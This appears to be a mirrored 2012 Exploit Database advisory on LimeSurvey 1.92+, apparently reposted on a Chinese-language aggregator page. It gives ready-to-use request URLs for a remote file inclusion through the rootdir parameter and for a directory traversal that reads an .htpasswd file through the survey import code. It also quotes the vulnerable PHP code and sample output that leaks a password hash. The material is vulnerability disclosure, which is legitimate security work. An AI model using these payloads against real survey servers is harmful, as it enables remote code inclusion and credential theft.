LimeSurvey 1.92+ build120620 – Multiple Vulnerabilities

• Exploit Database
• 107 阅读

• 作者： dun
  日期： 2012-06-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/19330/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91

  :::::::-. ...::::::.:::. ;;, <code>&apos;;, ;; ;;;</code>;;;;,<code>;;; </code>[[ [[[[&apos; [[[[[[[[. &apos;[[ $$,$$$$$$$$$$ "Y$c$$ 888_,o8P&apos;88.d888888Y88 MMMMP"` "YmmMMMM""MMM YM [ Discovered by dun \ posdub[at]gmail.com ] [ 2012-06-22] ################################################################# #[ LimeSurvey 1.92+ build 120620 ]Multiple Vulnerabilities# ################################################################# # # Script: "LimeSurvey - the free and open source survey software tool" # # Vendor: http://www.limesurvey.org/ # Download: http://download.limesurvey.org/Latest_stable_release/limesurvey192plus-build120620.zip # ################################################################ # # [RFI] ( allow_url_include = On; register_globals = On; ) # # Versions affected: 1.92+ build 120620 # # Vuln: http://localhost/limesurvey/replacements.php?rootdir=http://localhost/phpinfo.txt? File: ./limesurvey/replacements.php (line 3) ...cut... <?php global $rootdir; include_once($rootdir.&apos;/classes/expressions/LimeExpressionManager.php&apos;); // [RFI] ...cut... ################################################################ # # [Directory Traversal] ( display_errors On; register_globals = On; ) # # Versions affected: 1.92+ build 120620 and previous # # Vuln: http://localhost/limesurvey/admin/importsurvey.php?copyfunction=1&sExtension=lss&sFullFilepath=../../secret/.htpasswd   File: ./limesurvey/admin/importsurvey.php (lines 18-38) ...cut... if ((!isset($importingfrom) && !isset($copyfunction)) || isset($_REQUEST[&apos;importingfrom&apos;])) // 1 false if $copyfunction is set { die("Cannot run this script directly"); } require_once(&apos;import_functions.php&apos;); // 2 include functions   if (!isset($copyfunction)) { $sFullFilepath=$the_full_file_path; $aPathInfo = pathinfo($sFullFilepath); $sExtension = $aPathInfo[&apos;extension&apos;]; }   $bImportFailed=false; if (isset($sExtension) && strtolower($sExtension)==&apos;csv&apos;) { $aImportResults=CSVImportSurvey($sFullFilepath); } elseif (isset($sExtension) && strtolower($sExtension)==&apos;lss&apos;) // 3 true if $sExtension = &apos;lss&apos; { $aImportResults=XMLImportSurvey($sFullFilepath,null,null, null,(isset($_POST[&apos;translinksfields&apos;]))); // 4 $sFullFilepath -> our file ...cut...   File: ./limesurvey/admin/import_functions.php (lines 1080-1087) ...cut... function XMLImportSurvey($sFullFilepath,$sXMLdata=NULL,$sNewSurveyName=NULL,$iDesiredSurveyId=NULL, $bTranslateInsertansTags=true) { global $connect, $dbprefix, $clang, $timeadjust;   $results[&apos;error&apos;]=false; if ($sXMLdata == NULL) { $xml = simplexml_load_file($sFullFilepath); // 5 try to open our file as xmlfile ...cut...   This should return a warning with the first line of our file. In this case: admin:$apr1$zq2Yh9mB$R9WIiMX4YwOnhDon1kvc5/ from .htpasswd :) Something like this: Warning: simplexml_load_file() [function.simplexml-load-file]: ../../secret/.htpasswd:1:parser error : Start tag expected, &apos;<&apos; not found in /www/limesurvey/admin/import_functions.php on line 1087 Warning: simplexml_load_file() [function.simplexml-load-file]: admin:$apr1$zq2Yh9mB$R9WIiMX4YwOnhDon1kvc5/ in /www/limesurvey/admin/import_functions.php on line 1087 Warning: simplexml_load_file() [function.simplexml-load-file]: ^ in /www/limesurvey/admin/import_functions.php on line 1087   ### [ dun / 2012 ] #####################################################